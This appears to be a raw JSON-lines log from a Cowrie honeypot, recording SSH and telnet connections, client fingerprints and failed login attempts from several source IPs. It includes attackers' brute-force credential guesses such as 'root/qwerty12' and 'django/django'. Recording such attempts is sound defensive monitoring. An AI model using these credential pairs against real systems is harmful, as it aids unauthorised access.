{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:53:07.372655Z","src_ip":"20.160.86.7","session":"119d0965d942","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"asdqwe123","message":"login attempt [deploy/asdqwe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:53:07.724170Z","src_ip":"20.160.86.7","session":"119d0965d942","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:53:08.301517Z","src_ip":"123.58.209.58","session":"58a1f309b004","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:53:08.806857Z","src_ip":"20.160.86.7","session":"119d0965d942","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.64532780647278,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:53:30.783034Z","src_ip":"79.139.59.21","session":"dd4455e3f3e6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.2861807346344,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:53:35.146813Z","src_ip":"69.4.83.194","session":"582d30e9224c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.553290367126465,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:53:42.610415Z","src_ip":"69.4.83.194","session":"38935d7d3f1a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"101.47.156.21","src_port":53114,"dst_ip":"10.17.0.5","dst_port":22,"session":"2adc9b530f35","protocol":"ssh","message":"New connection: 101.47.156.21:53114 (10.17.0.5:22) [session: 2adc9b530f35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:53:54.773740Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:53:54.780082Z","src_ip":"101.47.156.21","session":"2adc9b530f35","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:53:55.031228Z","src_ip":"101.47.156.21","session":"2adc9b530f35","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappe-user","password":"frappe-user","message":"login attempt [frappe-user/frappe-user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:53:56.065250Z","src_ip":"101.47.156.21","session":"2adc9b530f35","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:53:57.318896Z","src_ip":"101.47.156.21","session":"2adc9b530f35","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":39622,"dst_ip":"159.203.135.109","dst_port":23,"session":"cb7f8a29abf3","protocol":"telnet","message":"New connection: 69.4.83.194:39622 (159.203.135.109:23) [session: cb7f8a29abf3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:54:19.331612Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.25.47.94","src_port":41354,"dst_ip":"159.203.135.109","dst_port":22,"session":"52c75b53ed51","protocol":"ssh","message":"New connection: 103.25.47.94:41354 (159.203.135.109:22) [session: 52c75b53ed51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:54:22.744222Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:54:22.749461Z","src_ip":"103.25.47.94","session":"52c75b53ed51","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:54:22.992433Z","src_ip":"103.25.47.94","session":"52c75b53ed51","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty12","message":"login attempt [root/qwerty12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:54:23.981028Z","src_ip":"103.25.47.94","session":"52c75b53ed51","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:54:25.223847Z","src_ip":"103.25.47.94","session":"52c75b53ed51","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.191.77.164","src_port":60054,"dst_ip":"10.17.0.5","dst_port":22,"session":"3714fb08dc00","protocol":"ssh","message":"New connection: 182.191.77.164:60054 (10.17.0.5:22) [session: 3714fb08dc00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:54:32.545940Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:54:32.550667Z","src_ip":"182.191.77.164","session":"3714fb08dc00","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:54:32.780692Z","src_ip":"182.191.77.164","session":"3714fb08dc00","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@$$w0rd@1234","message":"login attempt [root/P@$$w0rd@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:54:33.732975Z","src_ip":"182.191.77.164","session":"3714fb08dc00","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.58.209.58","src_port":35652,"dst_ip":"159.203.135.109","dst_port":22,"session":"47afa7329509","protocol":"ssh","message":"New connection: 123.58.209.58:35652 (159.203.135.109:22) [session: 47afa7329509]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:54:34.334781Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:54:34.339070Z","src_ip":"123.58.209.58","session":"47afa7329509","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:54:34.558615Z","src_ip":"123.58.209.58","session":"47afa7329509","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:54:34.965095Z","src_ip":"182.191.77.164","session":"3714fb08dc00","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"123qwe","message":"login attempt [ftpuser/123qwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:54:35.443098Z","src_ip":"123.58.209.58","session":"47afa7329509","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:54:36.659635Z","src_ip":"123.58.209.58","session":"47afa7329509","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"88.147.30.59","src_port":39443,"dst_ip":"10.17.0.5","dst_port":22,"session":"83215c292f5f","protocol":"ssh","message":"New connection: 88.147.30.59:39443 (10.17.0.5:22) [session: 83215c292f5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:54:41.538244Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:54:41.542797Z","src_ip":"88.147.30.59","session":"83215c292f5f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:54:41.664317Z","src_ip":"88.147.30.59","session":"83215c292f5f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"django","password":"django","message":"login attempt [django/django] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:54:42.159717Z","src_ip":"88.147.30.59","session":"83215c292f5f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.160.86.7","src_port":44432,"dst_ip":"10.17.0.5","dst_port":22,"session":"4346ac984310","protocol":"ssh","message":"New connection: 20.160.86.7:44432 (10.17.0.5:22) [session: 4346ac984310]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:54:42.275903Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:54:42.281139Z","src_ip":"20.160.86.7","session":"4346ac984310","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:54:42.364681Z","src_ip":"20.160.86.7","session":"4346ac984310","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappe-user","password":"frappe-user","message":"login attempt [frappe-user/frappe-user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:54:42.715327Z","src_ip":"20.160.86.7","session":"4346ac984310","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:54:43.277769Z","src_ip":"88.147.30.59","session":"83215c292f5f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:54:43.797714Z","src_ip":"20.160.86.7","session":"4346ac984310","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.6452476978302,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:54:55.976729Z","src_ip":"69.4.83.194","session":"cb7f8a29abf3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"85.11.167.46","src_port":54256,"dst_ip":"10.17.0.5","dst_port":22,"session":"7b41f16ce9c5","protocol":"ssh","message":"New connection: 85.11.167.46:54256 (10.17.0.5:22) [session: 7b41f16ce9c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:55:06.522019Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:55:06.527576Z","src_ip":"85.11.167.46","session":"7b41f16ce9c5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:55:06.615033Z","src_ip":"85.11.167.46","session":"7b41f16ce9c5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root12","message":"login attempt [root/root12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:55:06.880138Z","src_ip":"85.11.167.46","session":"7b41f16ce9c5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:55:07.967075Z","src_ip":"85.11.167.46","session":"7b41f16ce9c5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.139.59.21","src_port":52186,"dst_ip":"159.203.135.109","dst_port":23,"session":"40dd4d8ae1f6","protocol":"telnet","message":"New connection: 79.139.59.21:52186 (159.203.135.109:23) [session: 40dd4d8ae1f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:55:15.810673Z"}
{"eventid":"cowrie.session.connect","src_ip":"79.139.59.21","src_port":52786,"dst_ip":"159.203.135.109","dst_port":23,"session":"c910889a97d6","protocol":"telnet","message":"New connection: 79.139.59.21:52786 (159.203.135.109:23) [session: c910889a97d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:55:25.601805Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":40390,"dst_ip":"159.203.135.109","dst_port":23,"session":"c99159b2e0db","protocol":"telnet","message":"New connection: 69.4.83.194:40390 (159.203.135.109:23) [session: c99159b2e0db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:55:38.447085Z"}
